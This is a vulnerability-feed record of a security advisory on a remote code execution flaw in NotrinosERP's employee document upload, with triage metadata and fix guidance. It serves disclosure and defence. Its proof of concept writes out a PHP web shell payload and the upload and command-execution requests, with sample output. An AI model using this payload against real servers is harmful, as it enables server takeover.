{"id":"GHSA-qv4m-m73m-8hj7","kind":"vulnerability","aliases":["GHSA-qv4m-m73m-8hj7"],"related":[],"title":"NotrinosERP: Authenticated arbitrary file upload leads to remote code execution via HRM employee \"Documents\" (doc_file)","description":"#### Summary\nAn authenticated user with the HR \"Manage Employees\" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.\n\n#### Details\nThe document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:\n\n```php\n// hrm/manage/employees.php -> tab_documents()  (HEAD lines 597-602; release 1.0.0 lines 568-573)\n$upload_dir = company_path().'/documents/employees';\nif (!file_exists($upload_dir))\n    mkdir($upload_dir, 0777, true);\n$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];\nif (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }\n```\n\nThere is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.\n\nReachability of the written file:\n- `company_path()` resolves under the web root; `config.default.php` sets\n  `$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`.\n- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`\n  only — it does **not** block `.php` and does **not** cover `company/`.\n- The stored path is then echoed **unescaped** into a clickable \"View\" link\n  (`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`),\n  handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).\n\nA crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`.\n\n#### Proof of Concept\nThe upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the\nhidden `_token`, then submit. Against your **own** local instance:\n\n```http\nPOST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1\nHost: <your-local-instance>\nCookie: <authenticated session>\nContent-Type: multipart/form-data; boundary=b\n\n--b\nContent-Disposition: form-data; name=\"_token\"\n\n<value of the hidden _token field from the GET response>\n--b\nContent-Disposition: form-data; name=\"doc_type_id\"\n\n<a valid document type id>\n--b\nContent-Disposition: form-data; name=\"doc_name\"\n\nx\n--b\nContent-Disposition: form-data; name=\"doc_file\"; filename=\"shell.php\"\nContent-Type: application/x-php\n\n<?php system($_GET['c']); ?>\n--b\nContent-Disposition: form-data; name=\"save_document\"\n\nSave Document\n--b--\n```\n\nThen request the stored file (its exact path is shown in the Documents tab's \"View\" link):\n\n```http\nGET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1\n```\n\nThe command in `c` executes on the server.\n\n#### Validation (performed locally, no network)\nThe code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:\n\n```\n$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'\nuid=501(...) gid=20(staff) ...\n$ curl '.../<same>.php?c=uname%20-sm;whoami'\nDarwin arm64\n<user>\n```\n\nCaveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.\n\n#### Impact\nRemote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privileges-required as High (CVSS ≈ 7.2).\n\n#### Suggested fix\n- Never use the client filename on disk. Store with a server-generated name and **no executable\n  extension** (mirror `includes/ui/attachment.inc`'s `uniqid()` approach); keep the original name\n  only as a DB label.\n- Enforce an allow-list of document extensions/MIME types and a size cap, exactly like the `pic`\n  branch already does.\n- Store uploads outside the web root, or drop an `.htaccess`/`web.config` in\n  `company/*/documents/` that disables script execution (`php_admin_flag engine off`,\n  `RemoveHandler .php`, `SetHandler none`).\n- `htmlspecialchars()` the stored path before emitting the \"View\" link (fixes the secondary XSS).\n\n#### Resources / credit\n- Affected code: `hrm/manage/employees.php`, `hrm/includes/db/employee_document_db.inc`, `hrm/includes/ui/employee_ui.inc`.\n- Reported by: **&lt;Kasper Hong / Kasper Builds&gt;**.","summary":"An HR user with the employee-management permission can upload a document named with a .php extension into a web-served folder, where it is stored unchanged. Requesting that file runs attacker-supplied PHP code on the server.","severity":"high","cvss":8.8,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"notrinos/notrinos-erp","fixed":[],"affected":"<= 1.0.0","ecosystem":"composer"}],"ecosystems":["composer"],"tags":["composer","cwe-22","cwe-434","notrinos-erp","package","php","self-hosted"],"not_affected_if":["auth-required","no-sa-employee-users"],"how_to_check":"- Check the NotrinosERP version with `composer show notrinos/notrinos-erp` and compare against `1.0.0`\n- Look for PHP files under `company/*/documents/employees/` on the web server\n- Confirm whether `SA_EMPLOYEE` is granted to non-administrator roles","fix":"- Upgrade `notrinos/notrinos-erp` past `1.0.0` (fixed version unknown from sources; check the advisory)\n- Until patched, block PHP execution in `company/*/documents/` (`RemoveHandler .php`, `SetHandler none`, or `php_admin_flag engine off`)\n- Remove any `.php` files already present under `company/*/documents/employees/` and rotate credentials if found","status":"open","published_at":"2026-07-10T19:34:03+00:00","first_seen_at":"2026-10-25T15:07:02+00:00","triaged_at":"2026-10-25T15:07:13+00:00","updated_at":"2026-10-25T15:07:13+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-25T15:07:13Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `notrinos/notrinos-erp` past `1.0.0` (fixed version unknown from sources; check the advisory)\n- Until patched, block PHP execution in `company/*/documents/` (`RemoveHandler .php`, `SetHandler none`, or `php_admin_flag engine off`)\n- Remove any `.php` files already present under `company/*/documents/employees/` and rotate credentials if found","reach":"internet","title":"NotrinosERP: authenticated upload of .php files gives remote code execution","impact":"high","summary":"An HR user with the employee-management permission can upload a document named with a .php extension into a web-served folder, where it is stored unchanged. Requesting that file runs attacker-supplied PHP code on the server.","category":"package","nicknames":[],"who_cares":["php","self-hosted","notrinos-erp","composer"],"confidence":0.8,"needs_auth":"yes","worst_case":"Attacker runs arbitrary system commands on the hosting server as the web user","analyst_note":"Find the fixed version and whether a patch exists; the advisory at https://github.com/advisories/GHSA-qv4m-m73m-8hj7 lists the fix as unknown.","how_to_check":"- Check the NotrinosERP version with `composer show notrinos/notrinos-erp` and compare against `1.0.0`\n- Look for PHP files under `company/*/documents/employees/` on the web server\n- Confirm whether `SA_EMPLOYEE` is granted to non-administrator roles","needs_analyst":true,"not_affected_if":["auth-required","no-sa-employee-users"],"who_is_affected":"Installations of NotrinosERP at or below `1.0.0` where users hold the HR employee-management permission (`SA_EMPLOYEE`) and the web server executes PHP inside the `company/` directory. The sources say the .htaccess shipped in the repo does not cover `company/`, so default deployments are exposed. Teams that restrict `SA_EMPLOYEE` to administrators still face the risk from any admin account, and teams whose web server never runs PHP from `company/` are less exposed.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.000944,"input_tokens":5590,"output_tokens":769,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-154':352C '-22':30B,388C '-434':32B '-573':183C '-602':178C '-79':377C '/company':305C '/company/0/documents/employees/1_':570C '/documents/employees':188C '/hrm/manage/employees.php':470C '0777':197C '1':473C '1.0.0':180C '153':351C '568':182C '597':177C '8.5':600C '8hj7':21A,26A 'addit':383C 'allow':226C 'allow-list':225C 'app':632C 'appli':620C 'application/x-php':533C 'arbitrari':3A,100C 'attack':75B,361C,614C 'attacker-chosen':613C 'attacker-suppli':74B 'authent':2A,84C,405C,416C 'b':486C,487C,496C,507C,518C,538C,550C 'basenam':395C 'block':330C 'boundari':485C 'branch':156C 'build':391C 'c':537C,572C,578C 'check':230C,443C 'chosen':615C 'clickabl':346C 'client':113C,168C,272C 'client-suppli':112C 'code':9A,78B,143C,146C,590C 'code-execut':589C 'command':576C 'comment':269C 'comp':300C 'compani':186C,291C,336C 'company/0/documents/employees':310C 'company/0/documents/employees/1_':611C 'compos':28B 'concaten':355C 'concept':399C 'config.default.php':298C 'confirm':594C 'contain':382C 'content':128C,232C,482C,489C,498C,509C,520C,531C,540C 'content-disposit':488C,497C,508C,519C,539C 'content-typ':481C,530C 'contrast':237C 'cooki':480C 'core':255C 'cover':335C 'craft':379C 'creat':369C 'csrf':407C,434C,437C,444C,448C 'cwe':29B,31B,376C,387C 'data':493C,502C,513C,524C,544C 'deliber':258C 'deni':324C 'detail':151C 'dir':185C,193C,196C,202C 'directori':122C,633C 'disposit':490C,499C,510C,521C,541C 'doc':15A,207C,215C,428C,504C,515C,526C 'document':14A,53B,105C,154C,161C,174C,279C,454C,477C,547C,549C,563C 'document-upload':153C 'echo':342C 'employe':13A,47B,90C,93C,104C,203C,420C,423C,424C,471C 'employee-manag':46B 'enabl':384C 'erp':35B 'establish':283C 'exact':363C,557C 'execut':10A,141C,147C,579C,591C,634C 'exist':191C,422C 'extens':58B,101C,116C,125C,224C,263C,617C 'extension-less':262C 'field':438C 'file':4A,16A,72B,97C,133C,165C,190C,199C,206C,208C,213C,214C,216C,219C,248C,290C,353C,412C,527C,555C 'filenam':115C,169C,273C,381C,528C 'first':451C 'folder':64B 'form':455C,492C,501C,512C,523C,543C 'form-data':491C,500C,511C,522C,542C 'function':159C 'gate':403C,410C 'generat':259C 'get':452C,536C,569C 'getimages':228C 'ghsa':18A,23A 'ghsa-qv4m-m73m-8hj7':17A,22A 'hand':359C 'handler':108C,280C,605C 'har':602C 'head':175C 'hidden':459C 'host':40B,479C,598C 'hr':42B,88C 'href':358C 'hrm':12A 'hrm/includes/ui/employee_ui.inc':349C 'hrm/manage/employees.php':158C,172C 'htaccess':313C 'http':468C,568C 'http/1.1':478C,574C 'id':204C,430C,506C,573C 'ignor':281C 'imag':251C 'inc/.po/.sh/.pem/.sql/.log':325C 'includes/ui/attachment.inc':256C 'inspect':233C 'instanc':467C 'intact':117C 'land':308C 'lead':6A 'less':264C 'line':176C,181C,350C 'link':348C,567C 'list':227C 'local':466C,585C,597C 'logic':609C 'm73m':20A,25A 'manag':48B,89C 'mechan':592C 'mime':126C,229C 'mkdir':194C 'move':162C,211C 'multipart':380C 'multipart/form-data':484C 'must':274C 'name':54B,209C,218C,265C,396C,494C,503C,514C,516C,525C,545C 'neither':409C 'network':587C 'never':275C 'notrino':34B 'notrinos-erp':33B 'notrinos/notrinos-erp':27A 'notrinoserp':1A 'one':322C 'packag':36B 'path':187C,200C,220C,236C,292C,301C,302C,339C,354C,385C,558C 'path/move':608C 'pattern':285C 'payload':636C 'perform':584C 'permiss':49B,91C 'photo':242C 'php':37B,57B,77B,132C,171C,331C,390C,534C,599C,616C,626C 'pic':243C 'post':469C 'prerequisit':414C 'profil':241C 'project':316C 'proof':397C 'qv4m':19A,24A 'random':261C 'raw':111C 'reachabl':286C 'read':457C 'releas':179C 'remot':8A,145C 'repo':320C 'repo-root':319C 'request':70B,552C,622C 'resolv':293C 'root':139C,297C,304C,321C,629C 'run':73B,603C 'sa':92C,419C 'safe':284C 'save':546C,548C 'secondari':371C 'sel':475C 'self':39B 'self-host':38B 'serv':63B,121C 'server':81B,150C,582C,628C 'session':417C,433C,447C 'set':299C 'shell':367C 'shell.php':529C,571C,612C 'shown':560C 'sink':375C 'store':68B,135C,338C,373C,554C 'stored-xss':372C 'straight':356C 'submit':462C 'summari':82C 'suppli':76B,114C 'system':535C 'tab':106C,160C,173C,474C,476C,564C 'time':205C 'tmp':217C 'token':435C,440C,445C,449C,460C,495C 'travers':386C 'true':198C 'trust':277C 'type':429C,483C,505C,532C 'type/extension/size':252C 'unchang':69B 'unescap':343C 'uniqid':266C 'upload':5A,51B,95C,155C,164C,184C,192C,195C,201C,212C,244C,307C,401C 'url':364C 'use':166C 'user':43B,85C 'valid':129C,250C,427C,441C,583C,619C 'verbatim':170C,607C 'via':11A 'view':347C,566C 'warn':270C 'web':62B,120C,138C,296C,627C 'web-serv':61B 'write':109C 'written':289C 'wrote':610C 'x':517C 'xss':374C 'yield':144C","nicknames":[],"mitigations":[],"who_affected":"Installations of NotrinosERP at or below `1.0.0` where users hold the HR employee-management permission (`SA_EMPLOYEE`) and the web server executes PHP inside the `company/` directory. The sources say the .htaccess shipped in the repo does not cover `company/`, so default deployments are exposed. Teams that restrict `SA_EMPLOYEE` to administrators still face the risk from any admin account, and teams whose web server never runs PHP from `company/` are less exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-07-10T19:34:03+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-qv4m-m73m-8hj7","url":"https://github.com/advisories/GHSA-qv4m-m73m-8hj7","severity":"high","published_at":"2026-07-10T19:34:03+00:00","modified_at":"2026-10-25T15:02:57+00:00","first_seen_at":"2026-10-25T15:07:02+00:00","fetched_at":"2026-10-25T17:25:51+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}